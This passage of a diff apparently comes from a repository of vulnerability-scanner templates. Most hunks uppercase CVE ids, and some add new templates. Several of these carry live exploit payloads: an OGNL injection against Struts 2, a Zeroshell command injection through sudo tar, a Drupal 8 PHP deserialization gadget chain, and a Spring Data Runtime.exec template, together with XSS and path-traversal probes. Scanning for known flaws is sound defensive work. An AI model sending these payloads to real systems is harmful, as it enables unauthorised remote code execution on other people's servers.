+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation & @dwisiswant0
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+      - type: word
+        words:
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
+        part: body

cves/2017/CVE-2017-10075.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-10075
+id: CVE-2017-10075
 
 info:
   name: Oracle Content Server XSS

cves/2017/CVE-2017-11444.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-11444
+id: CVE-2017-11444
 
 info:
   name: Subrion CMS SQL Injection

cves/2017/CVE-2017-12637.yaml

@@ -0,0 +1,28 @@
+id: CVE-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+  # - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+        condition: and
+        part: body

cves/2017/CVE-2017-14537.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-14537
+id: CVE-2017-14537
 
 info:
   name: trixbox 2.8.0 - directory-traversal
@@ -17,7 +17,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Content-Type: application/x-www-form-urlencoded
         Referer: {{Hostname}}/maint/index.php?packages
         Content-Length: 160
@@ -33,7 +32,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Referer: {{Hostname}}/maint/index.php?packages
         Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
         Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=

cves/2017/CVE-2017-14849.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-14849
+id: CVE-2017-14849
 
 info:
   name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal

cves/2017/CVE-2017-5638.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-5638
+id: CVE-2017-5638
 info:
   author: "Random Robbie"
   name: "Struts2 RCE "

cves/2017/CVE-2017-7391.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-7391
+id: CVE-2017-7391
 
 info:
   name: Magmi – Cross-Site Scripting v.0.7.22
@@ -22,4 +22,9 @@ requests:
       - type: word
         words:
           - '"><script>alert(document.domain);</script><'
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2017/CVE-2017-7615.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-7615
+id: CVE-2017-7615
 
 info:
   name: CVE-2017-7615

cves/2017/CVE-2017-9506.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-9506
+id: CVE-2017-9506
 
 info:
   name: Jira IconURIServlet SSRF

cves/2017/CVE-2017-9841.yaml

@@ -1,4 +1,4 @@
-id: cve-2017-9841
+id: CVE-2017-9841
 
 info:
   name: CVE-2017-9841

cves/2018/CVE-2018-0296.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-0296
+id: CVE-2018-0296
 
 info:
   name: Cisco ASA path traversal vulnerability

cves/2018/CVE-2018-1000129.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-1000129
+id: CVE-2018-1000129
 
 info:
   name: Jolokia XSS

cves/2018/CVE-2018-11409.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-11409
+id: CVE-2018-11409
 
 info:
   name: Splunk Sensitive Information Disclosure

cves/2018/CVE-2018-11759.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-11759
+id: CVE-2018-11759
 
 info:
   name: Apache Tomcat JK Status Manager Access

cves/2018/CVE-2018-1247.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-1247
+id: CVE-2018-1247
 
 info:
   name: RSA Authentication Manager XSS

cves/2018/CVE-2018-1271.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-1271
+id: CVE-2018-1271
 
 info:
   name: Spring MVC Directory Traversal Vulnerability

cves/2018/CVE-2018-1273.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-1273
+id: CVE-2018-1273
 
 info:
   name: Spring Data Commons Unauthenticated RCE
@@ -24,7 +24,7 @@ requests:
         Connection: close
         Content-Type: application/x-www-form-urlencoded
 
-        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
     matchers:
       - type: regex
         regex:

cves/2018/CVE-2018-13379.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-13379
+id: CVE-2018-13379
 
 info:
   name: FortiOS - Credentials Disclosure

cves/2018/CVE-2018-13380.yaml

@@ -0,0 +1,31 @@
+id: CVE-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200

cves/2018/CVE-2018-14728.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-14728
+id: CVE-2018-14728
 
 info:
   name: Responsive filemanager 9.13.1 - SSRF/LFI

cves/2018/CVE-2018-16341.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-16341
+id: CVE-2018-16341
 
 info:
   name: Nuxeo Authentication Bypass Remote Code Execution

cves/2018/CVE-2018-16763.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-16763
+id: CVE-2018-16763
 
 info:
   name: fuelCMS 1.4.1 - Remote Code Execution

cves/2018/CVE-2018-17431.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-17431
+id: CVE-2018-17431
 
 info:
   name: Comodo Unified Threat Management Web Console 2.7.0 - RCE

cves/2018/CVE-2018-18069.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-18069
+id: CVE-2018-18069
 
 info:
   name: Wordpress unauthenticated stored xss

cves/2018/CVE-2018-19386.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-19386
+id: CVE-2018-19386
 
 info:
   name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting

cves/2018/CVE-2018-19439.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-19439
+id: CVE-2018-19439
 
 info:
   name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console

cves/2018/CVE-2018-20824.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-20824
+id: CVE-2018-20824
 
 info:
   name: Atlassian Jira WallboardServlet XSS

cves/2018/CVE-2018-2791.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-2791
+id: CVE-2018-2791
 
 info:
   name: Oracle WebCenter Sites XSS
@@ -9,8 +9,15 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "<h1xxx<scriptalert(1)</script"
         part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2018/CVE-2018-3714.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-3714
+id: CVE-2018-3714
 info:
   name: node-srv Path Traversal
   author: madrobot

cves/2018/CVE-2018-3760.yaml

@@ -1,7 +1,7 @@
-id: cve-2018-3760
+id: CVE-2018-3760
 
 info:
-  name: Rails cve-2018-3760
+  name: Rails CVE-2018-3760
   author: 0xrudra
   severity: high
 

cves/2018/CVE-2018-5230.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-5230
+id: CVE-2018-5230
 
 info:
   name: Atlassian Confluence Status-List XSS

cves/2018/CVE-2018-7490.yaml

@@ -1,4 +1,4 @@
-id: cve-2018-7490
+id: CVE-2018-7490
 
 info:
   name: uWSGI PHP Plugin Directory Traversal

cves/2019/CVE-2019-1010287.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-1010287
+id: CVE-2019-1010287
 
 info:
   name: Timesheet 1.5.3 - Cross Site Scripting
@@ -17,7 +17,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Content-Type: application/x-www-form-urlencoded
         Content-Length: 91
         DNT: 1

cves/2019/CVE-2019-10475.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-10475
+id: CVE-2019-10475
 
 info:
   name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -18,3 +18,8 @@ requests:
         words:
           - "<svg/onload=alert(1337)>"
         part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2019/CVE-2019-11248.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-11248
+id: CVE-2019-11248
 
 info:
   name: exposed_pprof

cves/2019/CVE-2019-11510.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-11510
+id: CVE-2019-11510
 
 info:
   name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability

cves/2019/CVE-2019-11580.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-11580
+id: CVE-2019-11580
 
 info:
   name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE

cves/2019/CVE-2019-11581.yaml

@@ -0,0 +1,38 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  product: Jira
+
+  # This is detection template only, use the referenced link for the exploitation.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body

cves/2019/CVE-2019-11869.yaml

@@ -0,0 +1,43 @@
+id: CVE-2019-11869
+
+info:
+  name: Yuzo Related Posts plugin XSS
+  author: ganofins
+  severity: medium
+  description: |
+    The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
+    because it mistakenly expects that is_admin() verifies that the
+    request comes from an admin user (it actually only verifies that the
+    request is for an admin page). An unauthenticated attacker can inject
+    a payload into the plugin settings, such as the
+    yuzo_related_post_css_and_style setting.
+
+    References:
+    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
+    - https://wpscan.com/vulnerability/9254
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/x-www-form-urlencoded
+
+        yuzo_related_post_css_and_style=</style><script>alert(0);</script>
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "<script>alert(0);</script>") == true'
+
+      - type: dsl
+        dsl:
+          - "contains(tolower(all_headers_2), 'text/html') == true"

cves/2019/CVE-2019-12314.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-12314
+id: CVE-2019-12314
 
 info:
   name: Deltek Maconomy 2.2.5 LFIl

cves/2019/CVE-2019-12461.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-12461
+id: CVE-2019-12461
 
 info:
   name: WebPort 1.19.1 - Reflected Cross-Site Scripting
@@ -23,3 +23,7 @@ requests:
         words:
           - '"</script><script>alert(document.domain);</script><script>'
         part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2019/CVE-2019-12593.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-12593
+id: CVE-2019-12593
 
 info:
   name: IIceWarp <=10.4.4 - Local File Inclusion

cves/2019/CVE-2019-12725.yaml

@@ -0,0 +1,27 @@
+id: CVE-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references: |
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

cves/2019/CVE-2019-14322.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-14322
+id: CVE-2019-14322
 
 info:
   name: Odoo 12.0 - Local File Inclusion

cves/2019/CVE-2019-14696.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-14696
+id: CVE-2019-14696
 
 info:
   name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting

cves/2019/CVE-2019-14974.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-14974
+id: CVE-2019-14974
 
 info:
   name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting

cves/2019/CVE-2019-15043.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-15043
+id: CVE-2019-15043
 info:
   author: bing0o
   name: Grafana unauthenticated API

cves/2019/CVE-2019-15107.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-15107
+id: CVE-2019-15107
 
 info:
   name: Webmin <= 1.920 Unauhenticated Remote Command Execution
@@ -16,7 +16,6 @@ requests:
         User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Referer: https://{{Hostname}}/
         Content-Type: application/x-www-form-urlencoded
         Content-Length: 73

cves/2019/CVE-2019-15858.yaml

@@ -1,8 +1,8 @@
-id: cve-2019-15858
+id: CVE-2019-15858
 
 info:
   name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0
+  author: dwisiswant0 & fmunozs & patralos
   severity: high
   description: |
     This template supports the detection part only. See references.
@@ -18,12 +18,25 @@ requests:
   - method: GET
     path:
       - "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
+
     matchers-condition: and
     matchers:
       - type: status
         status:
           - 200
+
       - type: word
         words:
           - "2.2.5"
         part: body
+        negative: true
+
+      - type: word
+        words:
+          - "Changelog"
+        part: body
+
+      - type: word
+        words:
+          - "Woody ad snippets"
+        part: body

cves/2019/CVE-2019-16278.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-16278
+id: CVE-2019-16278
 
 info:
   author: pikpikcu

cves/2019/CVE-2019-1653.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-1653
+id: CVE-2019-1653
 
 info:
   name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure

cves/2019/CVE-2019-16662.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-16662
+id: CVE-2019-16662
 
 info:
   name: rConfig 3.9.2 - Remote Code Execution

cves/2019/CVE-2019-16759-1.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-16759-1
+id: CVE-2019-16759-1
 
 info:
   name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass

cves/2019/CVE-2019-16759.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-16759
+id: CVE-2019-16759
 
 info:
   name: 0day RCE in vBulletin v5.0.0-v5.5.4

cves/2019/CVE-2019-16920.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-16920
+id: CVE-2019-16920
 
 info:
   name: Unauthenticated Multiple D-Link Routers RCE
@@ -17,7 +17,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Content-Type: application/x-www-form-urlencoded
         Connection: close
         Referer: http://{{Hostname}}/
@@ -30,7 +29,6 @@ requests:
         User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
         Content-Type: application/x-www-form-urlencoded
         Connection: close
         Referer: http://{{Hostname}}/login_pic.asp
@@ -44,7 +42,6 @@ requests:
         User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
-        Accept-Encoding: gzip, deflate
         Content-Type: application/x-www-form-urlencoded
         Connection: close
         Referer: http://{{Hostname}}/login_pic.asp

cves/2019/CVE-2019-17382.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-17382
+id: CVE-2019-17382
 
 info:
   name: Zabbix Authentication Bypass

cves/2019/CVE-2019-17558.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-17558
+id: CVE-2019-17558
 
 info:
   name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
@@ -17,7 +17,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Connection: close
         Content-Type: application/json
         Content-Length: 259
@@ -43,7 +42,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         Connection: close
         Upgrade-Insecure-Requests: 1
 

cves/2019/CVE-2019-18394.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-18394
+id: CVE-2019-18394
 
 info:
   name: Openfire Full Read SSRF

cves/2019/CVE-2019-19368.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-19368
+id: CVE-2019-19368
 
 info:
   name: Rumpus FTP Web File Manager 8.2.9.1 XSS

cves/2019/CVE-2019-19781.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-19781
+id: CVE-2019-19781
 
 info:
   name: Citrix ADC Directory Traversal

cves/2019/CVE-2019-19908.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-19908
+id: CVE-2019-19908
 
 info:
   name: phpMyChat-Plus XSS

cves/2019/CVE-2019-19985.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-19985
+id: CVE-2019-19985
 
 info:
   name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download

cves/2019/CVE-2019-20141.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-20141
+id: CVE-2019-20141
 
 info:
   name: Neon Dashboard - XSS Reflected
@@ -13,8 +13,15 @@ requests:
     path:
       - "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
       - "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
+
+    matchers-condition: and
     matchers:
       - type: word
         words:
           - "<img src=x onerror=alert(1)>"
         part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

cves/2019/CVE-2019-2588.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-2588
+id: CVE-2019-2588
 
 info:
   name: Oracle Business Intelligence Path Traversal

cves/2019/CVE-2019-2725.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-2725
+id: CVE-2019-2725
 
 info:
   name: Oracle WebLogic Server - Unauthenticated RCE

cves/2019/CVE-2019-3396.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-3396
+id: CVE-2019-3396
 info:
   author: "Harsh Bothra"
   name: "Atlassian Confluence Path Traversal"

cves/2019/CVE-2019-3402.yaml

@@ -0,0 +1,24 @@
+id: CVE-2019-3402
+
+info:
+  name: Jira - Reflected XSS using searchOwnerUserName parameter.
+  author: pdteam
+  severity: medium
+  description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
+
+  # Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<script>alert(1)</script>"
+        part: body

cves/2019/CVE-2019-3799.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-3799
+id: CVE-2019-3799
 info:
   name: Spring-Cloud-Config-Server Directory Traversal
   author: madrobot

cves/2019/CVE-2019-5418.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-5418
+id: CVE-2019-5418
 
 info:
   name: File Content Disclosure on Rails

cves/2019/CVE-2019-6112.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-6112
+id: CVE-2019-6112
 
 info:
   name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting

cves/2019/CVE-2019-6340.yaml

@@ -0,0 +1,40 @@
+id: CVE-2019-6340
+
+info:
+  name: Drupal 8 core RESTful Web Services RCE
+  author: madrobot
+  severity: critical
+  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
+  product: Drupal
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/node/1?_format=hal_json'
+
+    body: '{
+  "link": [
+    {
+      "value": "link",
+      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
+    }
+  ],
+  "_links": {
+    "type": {
+      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
+    }
+  }
+}'
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "uid="
+          - "gid="
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

cves/2019/CVE-2019-6715.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-6715
+id: CVE-2019-6715
 
 info:
   name: CVE-2019-6715

cves/2019/CVE-2019-7256.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-7256
+id: CVE-2019-7256
 
 info:
   name: eMerge E3 1.00-06 - Remote Code Execution
@@ -17,7 +17,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         DNT: 1
         Connection: close
         Upgrade-Insecure-Requests: 1
@@ -27,7 +26,6 @@ requests:
         User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
         Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
         Accept-Language: en-US,en;q=0.5
-        Accept-Encoding: gzip, deflate
         DNT: 1
         Connection: close
         Upgrade-Insecure-Requests: 1

cves/2019/CVE-2019-7609.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-7609
+id: CVE-2019-7609
 
 info:
   name: Kibana Timelion Arbitrary Code Execution

cves/2019/CVE-2019-8442.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-8442
+id: CVE-2019-8442
 info:
   name: JIRA Directory Traversal
   author: Kishore Krishna (siLLyDaddy)

cves/2019/CVE-2019-8449.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-8449
+id: CVE-2019-8449
 
 info:
   name: JIRA Unauthenticated Sensitive Information Disclosure

cves/2019/CVE-2019-8451.yaml

@@ -1,4 +1,4 @@
-id: cve-2019-8451
+id: CVE-2019-8451
 
 info:
